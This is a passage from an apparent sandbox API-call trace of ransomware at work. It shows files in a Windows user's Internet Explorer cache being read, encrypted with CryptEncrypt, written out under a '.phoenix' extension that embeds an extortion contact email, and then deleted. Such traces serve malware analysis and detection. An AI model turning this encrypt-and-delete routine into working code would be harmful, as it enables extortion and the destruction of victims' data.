	[0266.641] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\KHCDOJTQ\\www.google[1].xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\khcdojtq\\www.google[1].xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.641] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0266.641] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.641] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x5c, lpOverlapped=0x0) returned 1
	[0266.642] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0266.642] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x60, lpOverlapped=0x0) returned 1
	[0266.643] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0266.643] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.643] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.643] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.643] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.643] CryptDestroyKey (hKey=0x151380) returned 1
	[0266.643] CloseHandle (hObject=0x254) returned 1
	[0266.643] CloseHandle (hObject=0x2c4) returned 1
	[0266.645] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\KHCDOJTQ\\www.google[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\khcdojtq\\www.google[1].xml")) returned 1
	[0266.646] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.646] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\ROM18SK9\\www.microsoft[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\rom18sk9\\www.microsoft[1].xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.647] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=13) returned 1
	[0266.647] CloseHandle (hObject=0x2c4) returned 1
	[0266.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\ROM18SK9\\www.microsoft[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\rom18sk9\\www.microsoft[1].xml")) returned 0x2020
	[0266.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\ROM18SK9\\www.microsoft[1].xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\rom18sk9\\www.microsoft[1].xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.647] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\ROM18SK9\\www.microsoft[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\rom18sk9\\www.microsoft[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.647] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.647] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.647] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\ROM18SK9\\www.microsoft[1].xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\rom18sk9\\www.microsoft[1].xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.647] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0266.648] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.648] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd, lpOverlapped=0x0) returned 1
	[0266.648] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x10, dwBufLen=0x10 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x10) returned 1
	[0266.648] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x10, lpOverlapped=0x0) returned 1
	[0266.649] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0266.649] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.649] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.649] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.649] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.649] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0266.649] CloseHandle (hObject=0x2c4) returned 1
	[0266.649] CloseHandle (hObject=0x254) returned 1
	[0266.650] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\ROM18SK9\\www.microsoft[1].xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\domstore\\rom18sk9\\www.microsoft[1].xml")) returned 1
	[0266.650] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.650] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieSiteList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\emiesitelist\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.651] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0266.651] CloseHandle (hObject=0x254) returned 1
	[0266.651] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\EmieUserList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\emieuserlist\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.651] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0266.651] CloseHandle (hObject=0x254) returned 1
	[0266.651] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.652] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1142) returned 1
	[0266.652] CloseHandle (hObject=0x254) returned 1
	[0266.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log")) returned 0x20
	[0266.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.652] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.652] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.652] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.652] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.652] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0266.652] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.652] ReadFile (in: hFile=0x254, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x476, lpOverlapped=0x0) returned 1
	[0266.682] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x480, dwBufLen=0x480 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x480) returned 1
	[0266.682] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x480, lpOverlapped=0x0) returned 1
	[0266.683] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0266.683] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.683] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0266.683] CryptDestroyKey (hKey=0x151440) returned 1
	[0266.683] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0266.684] CryptDestroyKey (hKey=0x151200) returned 1
	[0266.684] CloseHandle (hObject=0x254) returned 1
	[0266.684] CloseHandle (hObject=0x2c4) returned 1
	[0266.684] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log")) returned 1
	[0266.685] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-userconfig.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.685] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3188) returned 1
	[0266.686] CloseHandle (hObject=0x2c4) returned 1
	[0266.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-userconfig.log")) returned 0x20
	[0266.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-userconfig.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.686] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-userconfig.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.686] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.686] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.686] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-userconfig.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.687] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0266.687] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.687] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc74, lpOverlapped=0x0) returned 1
	[0266.742] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80, dwBufLen=0xc80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80) returned 1
	[0266.742] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc80, lpOverlapped=0x0) returned 1
	[0266.743] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0266.743] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.743] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0266.743] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.743] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0266.743] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0266.743] CloseHandle (hObject=0x2c4) returned 1
	[0266.743] CloseHandle (hObject=0x254) returned 1
	[0266.743] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\ie4uinit-UserConfig.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\ie4uinit-userconfig.log")) returned 1
	[0266.744] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.744] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.896] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=524288) returned 1
	[0266.896] CloseHandle (hObject=0x2c4) returned 1
	[0266.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb.log")) returned 0x20
	[0266.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.896] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.896] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.925] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0266.925] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.925] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x80000, lpOverlapped=0x0) returned 1
	[0266.945] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80010, dwBufLen=0x80010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80010) returned 1
	[0266.946] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x80010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x80010, lpOverlapped=0x0) returned 1
	[0266.956] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0266.957] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.957] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x30, dwBufLen=0x30 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x30) returned 1
	[0266.957] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0266.957] WriteFile (in: hFile=0x254, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe2, lpOverlapped=0x0) returned 1
	[0266.957] CryptDestroyKey (hKey=0x151200) returned 1
	[0266.957] CloseHandle (hObject=0x2c4) returned 1
	[0266.957] CloseHandle (hObject=0x254) returned 1
	[0266.957] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edb.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edb.log")) returned 1
	[0266.962] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.962] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edbtmp.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edbtmp.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0266.965] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=524288) returned 1
	[0266.965] CloseHandle (hObject=0x254) returned 1
	[0266.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edbtmp.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edbtmp.log")) returned 0x20
	[0266.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Indexed DB\\edbtmp.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\indexed db\\edbtmp.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
